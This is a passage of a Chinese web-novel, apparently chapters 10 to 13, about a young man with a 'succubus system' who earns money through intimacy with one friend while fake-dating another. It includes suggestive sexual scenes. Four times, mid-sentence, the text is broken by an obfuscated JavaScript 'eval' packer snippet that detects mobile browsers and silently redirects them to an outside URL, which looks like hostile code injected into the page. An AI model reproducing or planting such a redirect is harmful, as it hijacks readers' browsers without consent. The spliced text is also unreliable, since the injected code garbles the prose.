叶临看向旁边的顾嘉致,纠结犹豫了一会儿,还是开口提要求:“那你帮我这个忙吧,我以后都找你消除饥饿值,但是你不要告诉别人。你放心,我以后发达了肯定不会忘记你的。” 顾嘉致刚刚说那些话吓唬他,就是为了听到这句话,高兴得差点控制不住嘴角,但还是绷住表情,故作深沉:“行啊,看在我们是好朋友的份上,我就帮帮你吧。” 叶临总算放心了,说实话穿书后,他最信任的人就是顾嘉致,所以高兴地拍拍他的肩膀:“虽然这很奇怪,但这是为了赚大钱的必经之路。你等着吧,我以后会成为首富,带你飞的。” 顾嘉致被他逗乐了,嘴上还要哄着:“嗯,我相信你肯定会发达的。” 叶临越发地觉得顾嘉致这个朋友交对了,不仅收留他住,还愿意帮他消除饥饿值,答应保密。 现在这个世道,很难见到像顾嘉致这样真诚的人了。 顾嘉致看叶临的眼睛亮亮的,像是钻石,又忍不住凑过去亲。 叶临推开他,擦了擦嘴:“饥饿值都消除完了,你亲什么啊?” 顾嘉致笑起来:“觉得你好看啊,也不知道在想些什么,眼睛亮晶晶的。” 那当然是在想好事了! 这个顾嘉致人很好,就是太蠢,以后还是得靠他带。 叶临嘱咐他以后别乱亲人,又抱怨自己身上粘粘的,不舒服。 顾嘉致立即把他抱起来,朝着浴室走去。 叶临觉得被男人抱很奇怪,想挣扎下去,却被拍了一下。 “乱动什么,小心掉下去摔了。”顾嘉致轻轻地拍了一下,发现手感非常好,又忍不住去捏。 “顾嘉致,你有病啊!”叶临大声骂起来,忍不住朝着他的脸打过去。 挨了一巴掌,脸颊有点疼,但也不是很严重,反而感觉到香气。 顾嘉致怀疑自己中邪了,要不然他怎么会觉得叶临的巴掌很好呢。 他低头去亲,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483419|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气委屈:“我这不是看你虚脱了没力气,顺便抱你去洗澡嘛,打我做什么。” 叶临的脸颊还是红的,忽然觉得顾嘉致是好意,只好吞吞吐吐地找借口:“那,那你.......算了,反正不许再拍那里。” 不过他还是后悔进浴室里,因为根本不是简单的洗澡。 顾嘉致就像是只大狗,一直粘着他,还....... 反正,他被抱出来的时候,已经累得睡过去。 第二天早上还迷迷糊中感觉到被人亲了额头。 可能是顾嘉致吧,反正他懒得睁开眼去看了。 叶临觉得,至少他能够接受顾嘉致帮他消除饥饿值,那其他的就不计较了。 醒来的时候已经下午三点,他拿起手机就看到顾嘉致给他发消息。 【厨房有阿姨提前做好的饭菜,你记得吃。】 【对了,饥饿值高了不好,你有需要马上给我打电话。】 【给你转了一百万,随便买点。】 这些消息里面,只注意到一百万。 顾嘉致居然给他转了一百万,还有银行消息提示,现在余额都有三百多万了。 好吧,顾嘉致果然是他最好的朋友,痛痛快快地给了钱。 叶临看到钱就高兴,身上的酸痛瞬间消失,心里对顾嘉致毫无怨气了。 他还给顾嘉致发消息,叮嘱他好好学习。 【我醒了,你真好,居然知道给我转钱。】 【我本来就好,你感觉好点了吗?听说男生做那种事情,第二天会难受。】 【难受,都是你在浴室害的!】 【好吧,我回来会给你买药的。那你给我看看那里,怎么个回事?】 顾嘉致上课打完字,都没有抱希望叶临能够发照片过来,只是顺口逗逗他。 谁知道,下一刻高清的照片就发过来。 大片的白,中量的粉,很少的红。 确实很严重。 顾嘉致连忙把手机倒扣住,紧张兮兮地看向讲台上的教授,心脏快速跳动。 他其实坐不住,很想飞奔回去。 但是这种情况,也不好站起来。还是等等,变正常了再走吧,现在好歹有个桌子挡挡。 旁边的梁文乐注意到他的耳尖红得滴血,惊讶地凑过去问:“你怎么回事,脸和耳朵都好红!” 顾嘉致下意识地骂:“都是叶临害的!” 梁文乐疑惑了:“他也惹你生气了,我就说嘛,这个人特别烦。” 顾嘉致意识到自己说漏嘴,连忙找补:“也不是他,是我哥,他贱死了,又给我发消息。” 梁文乐记得顾嘉致那个双胞胎哥哥顾柘,赞同地点点头:“他确实很讨厌,整天一副死人脸,冷冰冰的,说话好难听,哪有你好啊。他又给你发消息了,不会催你学习的吧?” 顾嘉致点点头,骂了顾柘好几句,没等多久就找机会溜出教室,朝着公寓跑去。 梁文乐知道顾嘉致待会没课,可以先溜走。而 他待会儿还有两节选修课,旁边有没人陪,就很烦。 他忽然想到好几天没联系的叶临,本来就是他花钱雇叶临,也该让叶临干活,于是给对方发消息。 【你现在就来学校陪我上课,给你一百万。】 【好啊!】 11. 第11章 听到有钱赚,叶临立马下床洗漱,换好衣服。为了一百万,完全可以忽略身体的不适。 外面的天气晴朗,一碧万顷,偶尔飘着点白云。紫外线很强,人人都打着伞。 叶临抬手挡了阳光,快速跑进林荫小道里,朝着大学方向走去。 没一会儿,手机铃声就响起来。 屏幕亮起来就是顾嘉致。 真奇怪,他不是去上学了吗,这个点居然还能打电话? 叶临接通电话,还没开口,就听到顾嘉致一通急切的输出。 “你身体不舒服,还往外跑!” “我有事啊,你怎么跟吃炸药了一样?” 那当然是炸药了,顾嘉致急匆匆地跑去医院买药,就想回家马上见到叶临,结果人没影,肯定不爽。 “你能有什么事?” “我要去陪梁文乐,所以出门了。” “陪他很重要吗,值得你不休息就跑出去!” “当然了,他现在可是我男朋友,先挂了。我还得赶路呢,他脾气不好,我迟到肯定生气。” “你.........”还没等顾嘉致说完话,电话就挂断了。 他忽然想起来,叶临跟梁文乐名义上是亲密无间的情侣,叶临去陪梁文乐再正常不过了。而他只是叶临的朋友,埋怨都找不到合理的角度。 不知道为什么,总感觉不爽。 顾嘉致握紧手机,低声骂了梁文乐好几句。 他一直都看不起自己这位发小,梁文乐从小被娇惯,脑子蠢得像猪一样,怎么这个时候偏要把叶临叫出去! 其实他很想打电话,找理由把叶临叫回来。 但总感觉自己这样做,显得很在意叶临,非常招笑,还是作罢了。 与此同时,叶临已经进了教学楼。 好几栋教学楼外部都有长廊连接,四通八达,看起来就像是一座巨大迷宫。 实际上,这里的教室太多了,而且门牌上都是极其相似的数字,很难找到梁文乐。 叶临只好给梁文乐发消息,表达自己的无助。 【文乐,你在哪里啊,我真找不到?】 【你笨死了,找个教室都不会!】 【对啊,我特别笨,都没有文乐一半聪明,文乐教教我吧。】 梁文乐本来想臭骂叶临一顿,但是看到他的文字,仿佛看见一只可怜的大狗耷拉着耳朵。 刚好这几天圆圆看不到叶临,饭都没吃多少,焉焉的。 好吧,大气如他,总不能跟蠢货计较吧。 梁文乐趁着课间,离开教室去找叶临。 看到叶临的时候,发现他正在跟几个女生聊天,有说有笑的,半点不像是迷路着急的样子。 还好意思在网上装可怜,他真虚伪啊! 梁文乐急匆匆地走过去,从后面重重地按住叶临的肩膀,脸色阴沉得像鬼。 几个女生瞧见他这副模样,连忙跑开,她们都不敢招惹这位脾气糟糕的梁少爷。 叶临注意到女生们的异常,转头看见梁文乐,惊喜地叫起来:“文乐你好厉害,居然这么快就找到我了!” 梁文乐凑到他的耳边,低声道:“我说你,到底有没有职业道德心啊,跟我签了合约,还搭讪女生,太过分了吧!” 叶临无奈地耸肩:“我觉得你不会介意啊,因为我们是假情侣,你又不喜欢我,这没什么吧。” 这句话倒是在理,可是听起来还是会生气,怎么回事呢? 梁文乐没好气地反问:“哦,别人让你被戴绿帽了,你会高兴吗?” 叶临点点头,他觉得这说的有道理,连忙道歉:“文乐对不起,你说的对,我以后肯定跟别人保持距离,不再说说笑笑。” 梁文乐勉强满意,拽着他进入阶梯教室。 因为是公选课,教室里有百来号人物,乌泱泱的。 只有前面的学生在学习,后排都在玩手机。 梁文乐就在低头玩手机,嘴里还要骂老师只会水课,无聊死了。 叶临倒是双眼放光,四处看。 他都没考上大学,从未在这种大型阶梯教室里上课,所以非常好奇。 看着看着,就跟老师对上眼,下意识地低头,小声说道:“怎么办,我刚刚好像跟老师对上眼了。” 梁文乐小声骂:“谁让你乱看,我记得这个老师很喜欢点人回答问题的。” 叶临最怕回答问题了,吓得抓紧梁文乐的手,紧张兮兮地问:“那,那我怎么办啊,文乐,我什么都不会啊!” 梁文乐抬头去看,结果老师就伸出手指叶临的位置。 “穿白衣服的同学,你站起来回答一下。” 叶临今天穿的就是白衣服,差生最怕回答问题了。 听到老师的声音一身冷汗都出来了,吓得指了旁边的梁文乐:“老师,我没选这节课,我是陪我男朋友来上课的,你让他回答问题吧。” 此话一出,全场的焦点就变成了梁文乐,他瞬间就变成不甘寂寞,带男朋友上公选课的热门人物。 老师笑起来,看着叶临长得乖巧朴实,也没有为难他,指了旁边的梁文乐:“哈哈哈哈,老师不是思想封建的人,很理解现在的年轻人,带男朋友上课很正常。不过看你男朋友这么害羞,你回答吧。” 梁文乐真想一拳头抡死叶临,他发现四周的视线都快变成实质化,要把他刺穿了。 都能想到,那些同学会怎么议论他。 不过现在也是骑虎难下,只能站起来,硬着头皮回答问题。 这几分钟内,叶临都不敢抬头。听到老师让梁文乐坐下来,这才松了一口气,小声感慨逃过一劫。 但是他还没转头,就感觉到从梁文乐那里投来一股冰冷的视线,像是锋利的匕首,几乎要他整个人都凌迟三千多条。 梁文乐抱怨的语气像是幽灵一样飘转:“刚刚被提问,又知道我是你男朋友了?” 叶临也知道自己这种出卖老板的行为不好,连忙靠过去,小声道歉:“文乐,我刚刚是急得没办法了,你就原谅我吧。” 梁文乐没有推开他,语气阴冷:“我想杀了你。” 叶临只好抱住他的手,轻轻地摇晃,语气卑微:“对不起,我刚刚不该把你推出去,但是我真的不敢回答问题。 我这么蠢,万一被人笑话了,就是丢你的脸。我们毕竟是情侣,我的脸面就是你的脸面啊。” 他身上有股淡淡的香味,又瘦瘦的,靠过来的时候显得弱小无助,再配上一张好看的脸,很容易让人心软。 梁文乐被他哄好了,正想说点别的话,就听到老师高声提醒。 “下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483420|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那对情侣,老师理解你们一起来上课,但是注意行为不要过密了,这里毕竟是公共场合。” 所有人又都看向他们,笑声像是洪水淹过来。 梁文乐突然意识到,叶临挨得太近了,就像是小男友在寻求安慰,连忙推开,低声骂:“都怪你这个蠢货!” 叶临感觉尴尬,连忙松开手,低头看地面:“我怎么知道老师眼尖。” 老师看他们两个人分开,又笑起来:“年轻嘛,热恋期黏在一起很正常,下回注意哈。好了,现在我们来继续说区域治理的要求........” 整节课,梁文乐都坐立不安。 他不明白,自己明明只是跟叶临签了个恋爱合约,怎么好像真的谈了一样。 会为叶临的撒娇心软,还会担心被老师抓恋爱,还会在意其他同学的看法。 还有,叶临这个蠢货就是喜欢乱说话。 之前说,“文乐就是我的钱,我的势啊。”,现在又说,“我的脸面就是你的脸面”。 真以为他们两个人谈恋爱了吗! 他梁文乐才不可能跟这种满嘴胡言乱语,脑子蠢笨的人谈恋爱呢! 梁文乐越想越生气,心脏又跳得非常快,以前都能在课上玩手机,现在就玩不下去,满脑子都是叶临做的蠢事。 旁边的叶临倒是悠然自得地玩起机,他从小就被老师骂惯了,脸皮非常厚。没到十分钟就完全忘记这件事,专心玩游戏。 下课后,好多人经过梁文乐身边,都会多看他们几眼,很多女生捂着嘴偷笑,估计都没见过这么大胆的同性情侣。 梁文乐着急忙慌地拉叶临离开教学楼,朝着停车场走去,不想留在这里被人议论。 正是傍晚时分,天边飘着淡粉色的晚霞。 这些晚霞形状怪异,粘连不断,远远看去,就像是一只要往下坠去的凤凰。 见到这种奇景,路人纷纷都对着天空拍照。 叶临也不例外,但他总觉得自己的手机拍不出晚霞的壮丽,于是朝着梁文乐伸手:“文乐,你的手机肯定比我的高级,借我拍拍。” 梁文乐啧了一声,心里嘲笑他没见识,居然会为破晚霞惊叹:“我为什么要借给你!” 演戏久了,很多动作熟能生巧。 叶临自然地挽住他的手臂,熟练地说出台词:“因为你是我男朋友啊,借我拍拍嘛。” 梁文乐用手机用力拍了他的脸,嫌弃道:“恶心死了,下次演自然点!” 叶临被手机拍疼,叫一声,还是取下手机,对着晚霞拍起来:“文乐,你这样暴力不好,沈邵应该喜欢温柔的。” 梁文乐忽然想起来,他居然有几天没念叨沈邵了,不由得感到奇怪。 “哎呀,你这个手机拍照真好看。” 叶临拿起手机拍了他和梁文乐靠在一起的照片,上网随便抄了个文案,发到朋友圈:“我看其他情侣都会发官宣朋友圈,你也发吧,这样沈邵看见了才会来找你。” 梁文乐非常在意自己的外在形象,就怕他发丑图,连忙夺过手机,骂骂咧咧的:“你乱发什么,把我拍丑了,我弄死你!” 叶临自信道:“我拍得可好了。” 官宣图刚发出去,底下就有很多梁文乐的狗腿评论,都是祝福的话语,但其中却少了平时玩得最好的顾嘉致。 12. 第12章 照片里,叶临歪着头贴近梁文乐,眉眼弯弯,笑容灿烂。 梁文乐的表情淡然,但目光还是斜视旁边的叶临,看起来还是很恩爱的一对情侣。 也没把梁文乐拍丑,而且还把叶临身上的活力拍出来,就像个小太阳。 梁文乐没有删这条朋友圈,反而在浏览评论区。 朋友们似乎都相信他跟叶临谈恋爱了,说的都是祝福天长地久,永远在一起这些话。 但是没有沈邵的评论,可能最近在忙工作吧。 梁文乐点进沈邵的头像,查看他的朋友圈,发现上一条已经是半个月前的了。 也不知道在忙些什么,记得沈家正在走下坡路,远不如他梁家厉害。 他一直是这样,看到沈邵就想着比,似乎只要超过沈邵,他就高兴了。 叶临只让梁文乐发官宣的动态,自己这边没有发,毕竟他又不需要演戏给沈邵看。 顾嘉致在动态发布后两分钟,给他发了消息。 【现在下课了,你该回来了吧。】 【我还要陪文乐去吃饭,晚上才回来。你惦记我回家,是有什么事吗?】 【没事。文乐用一顿晚饭让你拍官宣图?】 【不是他要求的,是我自己乐意的,我觉得做戏就要全套。先不和你说,我要走了。】 叶临抬头去看梁文乐,询问他的手机型号,也想去买一个。 梁文乐嫌弃地看着他,晃了晃手机:“这是私人定制的,懂吗?” 叶临摇摇头,非常诚实:“不懂,这种牌子手机能定制吗?” 梁文乐突然觉得他很可怜,都没有用过专属定制的手机:“是找品牌商定制的,你要是想要,我也可以帮你订一台。” 叶临心情激动,像是看偶像一样看梁文乐:“文乐你好厉害,那你帮我定制一台吧,我想要拍照好看,方便打游戏,看视频高清的。” 梁文乐在心里骂他没见识,还是答应帮他定制手机。 叶临指着手机里一个餐厅的名字:“文乐,我想要去这个餐厅吃晚饭。” 梁文乐看的出来这是个高级餐厅,翻了个白眼:“额,难道你跟我说,我就会带你去吗?” 叶临又晃了晃他的手:“文乐,你带我去餐厅,吃饭,到时候拍照发出来,能体现我们的感情好。” 梁文乐推开手他的手,冷着脸没说话。 叶临不会看脸色,还是跟他撒娇说好话,来来回回说了好几遍。 梁文乐被他缠得没办法,只能答应。 这家餐厅人气火爆,很多有钱人都需要提前半个月才能预约,但梁文乐说去就去,还定了最高级的包间。 叶临在网上刷到,这家餐厅的价格非常昂贵,平均一道菜都是10万,而且份量极少,需要订很多才能吃饱。 他很想来吃,但是舍不得花钱,干脆哄骗梁文乐过来。 反正梁文乐是整本书里面,最单纯好骗的富二代了,不坑白不坑! 上菜的流程也非常讲究,有专门的人表演,摆盘精致,总之就是花里胡哨。 唯一值得赞赏的,就是窗边靠着江,可以看到江水倒映两岸高楼的夜景。 叶临尝了一块肉,觉得不够味,又拿起酒来喝。 不得不说,酒是真好喝,酒香浓郁,非常不错。 梁文乐坐在他对面,慢条斯理地吃,动作优雅,没有说话。 正常情况,还是要说话活跃气氛。 叶临提了他感兴趣的话题:“文乐,你为什么会喜欢沈邵啊?” 梁文乐思考一会儿,表情像是愤慨,又像是失落:“就是.......可能是因为他......” 叶临注意到他的表情沉重,估计是想到不好的事情,挥挥手:“哦,我知道,他是你的白月光,救赎了你!” 反正他看小说都是这样写的,人身处泥潭的时候,就容易爱上拯救自己的人。 梁文乐无奈地摇头:“其实很简单。之前我们两家旗鼓相当,还都是同一个行业起家的,所以总是会互相比较。 我很喜欢弹钢琴,大家就喜欢拿我们来比较,说我天赋不如他。 因为沈邵弹钢琴非常厉害,11岁就过了钢琴十级。所以我就经常跑去找他比,鬼知道就喜欢他了。” 叶临听完故事,情绪激动地骂起来:“拿你们比较的人有病吧,我记得沈邵比你大四岁,都不是一个年龄段,这有什么好比的。 再说了,我觉得文乐比沈邵厉害多了,是世界上最完美的人。” 梁文乐嗤笑一声,明显不相信:“哦,是吗?那你说说,我怎么比沈邵好了?” 叶临伸出手指来比划:“很多啊,文乐待人温柔,是个非常善良的人,沈邵就知道讽刺人。文乐长得好看,沈邵就比不上。” 梁文乐摇摇头,嘲笑他:“马屁精。” 叶临站起来,身子朝着他那边探过去,凑近左眼泪痣:“文乐左边脸最好看,这颗泪痣超媚!” 他的呼吸灼热,烛光将他的面容描摹得柔和,像是蒙了一层薄纱,茶水晶般的眼睛里有光在跳动。 梁文乐吓得连忙推开他,站起身骂:“你有病啊,靠这么近做什么!” 叶临倒在椅子上,扶着把手坐好,还要坚持夸:“本来就比沈邵好看。” 刚开始他觉得沈邵长得比梁文乐高级,但是从梁文乐这里拿了许多好处,慢慢的,就觉得梁文乐比沈邵好看,应该说有钱味。 别人看到沈邵只会觉得这个人气质儒雅,有文化气息。但是看到梁文乐,就知道是个含着金汤匙出生的富家小少爷。 梁文乐从刚刚的暧昧中回过神来,惊觉自己今天居然跟叶临相处了七个小时。 这太不正常了,明明都没有沈邵在场,跟叶临相处这么久做什么? 他拿起东西,往外走:“钱我已经付了,你自己打车回去吧,我可不想再收留你一夜。” 叶临点点头,看着餐桌上未吃完的饭菜,觉得非常可惜,还是坐下来继续吃。 还好每份都很少,他努努力也能吃完。 已经是晚上23点了,窗外的几栋大楼依旧灯火通明,在每个格子里,都有许多被困住的人。 叶临感慨当写字楼里的白领不容易,打了个饱嗝,也想离开这里。 结果下一刻,顾嘉致就打电话过来。 “这个点你还不回来,又想睡在梁文乐家吗!” “没有啊,文乐提前走了,我舍不得这些菜,就留下来吃。” “你.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483421|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...地址发来,我开车去接你。” 顾嘉致很想骂叶临,但是还是先把人接回来要紧。 叶临报完地址,看着江边的高楼大厦发呆。 以前在电子厂打工,下班就开把对抗类游戏,很难想象现在会坐在高楼里,看着外面的风景。 总有种不真实感。 但至少说明他的努力都是有用的,无论是耐心哄梁文乐,还是利用顾嘉致赚钱。 他又想到一个小时赚20万,脸颊微微泛红。 所以说就是魅魔系统不正经,怎么在同一个空间里就是每小时100元,那种事情就是20万,差距太大了吧! 【魅魔系统正经的话,就不是魅魔系统了哦!】 这破系统还挺骄傲的! 叶临骂了好几句,忽然听到有人叫自己的名字,偏头就看到神情焦急的顾嘉致。 顾嘉致急匆匆地把他从椅子上拽起来,目光落在领口的位置,那里还有自己留下的痕迹,淡红色的。 “我去!嘉致你飙车啊,来这么快?” “本来就是在附近,你不是痛吗,还跑出来玩!” 叶临感觉到顾嘉致的语气急躁,只以为这家伙学业不顺,指着坐垫解释:“刚开始很痛,但是习惯就好了。 今天也就是在教室车上,还有这里坐过。梁文乐的车子坐垫很软的,餐厅的椅子也是。” 顾嘉致听不得他夸梁文乐,气得用力拍,听到哎呀一声,就满意地笑起来:“现在知道疼了!” 叶临回击,骂他神经病,就知道折磨人。 两个人就像是嬉戏打闹,半点生气的意味都没有。 最后还是顾嘉致紧紧地把他抱进怀里,这才控制住乱动的手脚。 他故意凑到叶临的耳边警告:“要是你再乱动,我就把你抱出去,让外面的宾客和服务生看看。” 叶临想到那个场面就很尴尬,勉强接受休战:“行吧,要是被误会就完蛋了,我现在毕竟是梁文乐的男朋友。” 顾嘉致气得牙痒痒,不断地重复抱怨:“梁文乐,梁文乐,梁文乐!你不就跟他签了个合同,用得着一整天都提他吗?” 叶临以为顾嘉致是看不起梁文乐,轻轻地拍他的肩膀安抚:“行了,我知道你不喜欢梁文乐,我也讨厌他,暂时不说了。” 顾嘉致白了他一眼,迅速朝着外面走去。 坐进车里,叶临还想聊几句,结果发现旁边的顾嘉致黑着脸不说话,明显是生气了。 他这个好兄弟的脾气实在是太怪了,阴晴不定,比天气还易变。 梁文乐很好哄,顾嘉致确实是难搞。 想到自己的把柄捏在顾嘉致的手里,而且早上还美美地拿了顾嘉致的钱,也不能让气氛冷下来。 叶临下车见顾嘉致还没说话,主动提起买药的事情:“你让我拍照片过去,说是要买药,你买到了吗?” 对于看病的事情,叶临一向是大方的,他也觉得那里疼,必须拍清楚点,才能让医生做出准确的判断。 顾嘉致想到那张照片,用力捏住叶临的手腕往公寓里拖:“药,我当然买好了。现在赶紧回去帮你上吧,免得你患癌了。” 叶临不懂医,还怕死,连忙催促:“会患癌啊,那快点涂!” 13. 第13章 刚进门,叶临就想自己涂药,焦急地原地打转,生怕自己患癌下一秒就会去世。 顾嘉致不着急把药递给他,而是讽刺:“癌症又不是马上就死,急什么急?” 叶临气愤地拍他,抱怨的音量很大:“又不是你患癌,你当然不着急,快点!” 顾嘉致把药膏拿出来,给他说了注意事项,以及使用方法:“还是我帮你涂吧,你一个人不方便。” 叶临想到涂药的情景,耳尖有些发热,连忙拿过顾嘉致手里的药膏:“我自己都可以涂!” 顾嘉致指着厕所的方向,示意图进去用马桶。 叶临飞速跑进去,把门关上。 反正顾嘉致是觉得,以叶临蠢笨的脑子,肯定不会涂,到最后还是得求助他。 果然,才过了三分钟,叶临的声音就响起:“你帮我吧,这破药不好使!” 顾嘉致得意走过去,拽着他进了卧室。 卧室已经焕然一新,杂物和凌乱的的衣服都被收拾干净,还散发着淡淡的香味,是植物的芬芳。 叶临抱着枕头玩手机,忽然间就感觉到凉意,就像是吃到了薄荷糖,疼痛有所缓解。 就是疼痛之外,还有种受伤后要长新肉的痒意,酥酥麻麻的,又像是电流经过。 “顾嘉致,你涂药就涂药,别瞎搞!”叶临操作不了游戏里的人物,抓紧枕头,向后面的顾嘉致提出要求。 “好嘞好嘞,马上就涂好了。”顾嘉致只要想到这小子抛下自己,跟梁文乐约会,心里就有怨念,连带着涂药都掺杂了报复的意味。 明明是求他帮忙,结果叶临还理直气壮地提要求,真把他当成好使唤的仆人了吗? 顾嘉致越想越气,使的劲都大了不少,还专门地挑刁钻的角度,不想让叶临如意。 “你!”叶临咬紧牙关,企图忍住声音,连忙把手机扣下,扭头去看顾嘉致:“你有病啊,为,为什么要这样!” “说明书上都说了,药膏要确保涂抹到每一个患处,免得后面流脓感染,就得做切除手术了。” “真的吗,说明书拿给我看看。” “喏。” 叶临红着脸接过说明书,发现上面密密麻麻全是英文,一个都都看不懂,不由得捏皱了纸张的边缘。 这什么破药膏,居然全是英文! 顾嘉致知道他肚子里的墨水少,注意到他的眼神疑惑,故意哄骗:“是吧,上面就是这样写的。你不会看不懂吧?” 叶临怎么可能在好兄弟面前承认自己看不懂,那岂不是显得他很差劲,只好放下说明书:“看懂了,不就是仔细涂嘛,你快点。” 【魅魔系统提示,当前金钱增速每小时9万。】 9万? 换算下来,就是9cm。 也是,毕竟成年男子的手指就是这样的。 叶临正想着,忽然有种熟悉的感觉,顿时说不出话,也无法走神。 “顾,顾嘉致,你.........” “怎么又叫我,不是很喜欢吗?” “你胡说八道什么,我,我只是.......” 叶临的脸颊通红,看起来就像是某种好吃的水果,咬下去就会有甘甜的汁水。 顾嘉致情难自禁,凑过去吻,不让叶临发出声音。 他刚刚涂药的时候就在想,还好梁文乐今天没有尝到叶临,不知道这般美好的滋味。 郁闷的心情总算消散,变成窃喜。 涂完药后,两个人都变得满头大汗。 还是互助了,所以地上都是凌乱的。 叶临慢慢的吸气呼气,看着旁边的顾嘉致,肚子里又冒出火,抬手去打,结果被接住。 顾嘉致看着他的头顶:“你是魅魔,还有饥饿值,我刚刚就是在帮你消解,这是做好事,怎么还要打我?” 叶临气红了脸:“这两天饥饿值都没上到10过,哪里需要你帮忙了,我看你就是故意折磨我!” 顾嘉致一贯无耻:“那我也是在帮你预防,一直都是0,那你就不用担心了。” 叶临还想发火,可是他太累了,还是躺下来休息,顺便查查资产。 【宿主现在的资产是四百万。】 行吧,刚刚的事情也算有了好的结果。 事实上,人都是容易成瘾的。一旦尝试过轻松的赚钱方式,就很难回到以前艰苦朴实的赚钱方式。 叶临看到四百万的数字后,现在也没有多排斥靠魅魔系统赚钱,他觉得,反正顾嘉致跟他关系好,这样也没啥。 顾嘉致伸出手在他的面前挥了挥:“你在想什么?” 叶临拍开他的手,闭上眼睛:“不想了,我要睡觉,你回去吧。” 顾嘉致搂住他,贴上去:“懒得走,我今天就在这里休息。” 叶临嫌弃地推他的脸:“热死了,你家房间这么多,非得跟我挤在一起!” 顾嘉致调低了空调温度:“不热,温度调低就好了。再说,我们可是好兄弟,挤挤你怎么了?” 叶临叹息一声,懒得跟他掰扯,反正之前都这样并排躺着过,也没什么大不了的。 很快,他就进入了睡眠,呼吸很浅。 顾嘉致睡不着,盯着叶临看了好久,才拿出手机来刷。 他和梁文乐的朋友圈多有重叠,这会儿就有很多人给他发消息,都是讨论梁文乐和叶临的。 有个朋友发了梁文乐和叶临在阶梯教室的照片,是从侧面偷拍的角度。 叶临以一种小鸟依人的姿势靠着梁文乐的肩膀,依赖感很强,仿佛真的把梁文乐当成自己的男朋友。 而梁文乐半侧着身,伸出手去玩他的手,眼神中夹杂着嫌弃,却又是少见的温柔。 怪不得,人人都说他们两个人谈恋爱了。 朋友激动地给顾嘉致发消息。 【你说文乐是怎么看上这小子的,不就长得好看吗?】 【而且,我听说他们两个还一起上下学吃饭,真谈了。】 【真的搞不懂啊,叶临就是个登不上台面的私生子,文乐看上他哪里了?】 顾嘉致看着朋友发过来的三条消息,心情变得烦躁,他扭头去看旁边睡着的叶临。 叶临是侧躺着,手让被子盖住,只冒出半截,皮肤细腻白皙,睫毛浓密卷翘,神情恬静,就像个小孩子。 确实有几分姿色,但是蠢得无可救药。 顾嘉致打字回复朋友。 【你不都说了,文乐觉得叶临长得好看呗。】 【但是好看的男生多了去,沈邵不比叶临好看啊,搞不懂文乐怎么突然移情别恋了。】 【每个人审美点不同吧,文乐应该换口味了。】 【嘉致你今天不对劲啊,以前你提起叶临都是嘲笑的,怎么今天还帮他说话。】 顾嘉致看到这条消息才惊觉自己今天像个蠢货,生气叶临去跟梁文乐约会,还要被叶临使唤做了很多事情。 不是,叶临凭什么啊? 顾嘉致疯狂打字解释。 【我就是觉得这没啥好奇怪的,大家不都想把叶临当乐子嘛,过段时间文乐就厌倦他了。】 【说的也是,我也觉得叶临只能玩玩,哪值得真心。】 顾嘉致赞同他的看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483422|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,连发几条消息附和,才合上手机。 旁边的叶临的嘴唇动了动,又转过身去。 顾嘉致只好从后面搂住腰,头埋进颈窝里,神情痴迷地嗅。 他觉得朋友说的对,大家都想玩玩叶临而已,怎么可能会付出真心呢。 他今天之所以在意叶临跑去找梁文乐,愿意为叶临使唤,那都是因为他还没玩够。 一夜无梦,直至中午才醒来。 顾嘉致好久没有睡过这么长的觉,神清气爽,浑身都充满了活力。 他感觉很热,就像是抱着火炉。 只见叶临的脸颊红透了,呼吸不匀。 抬手去摸额头,居然是发烧了。 顾嘉致才想起来,昨天晚上他把温度调太低了,而且叶临的睡相不好,踢掉了很多被子,所以着凉。 他连忙起床找私人医生上门,收拾洗漱,准备出门去上课。 反正叶临只是生个小病而已,有医生治病足够了。 但是刚出门半分钟,他还是回到家里。 也不是为了照顾叶临吧,只是他觉得自己本来就不喜欢上课,还不如呆在家里休息。 他吩咐保姆多做有助于身体康复的食物,就坐在卧室里等医生。 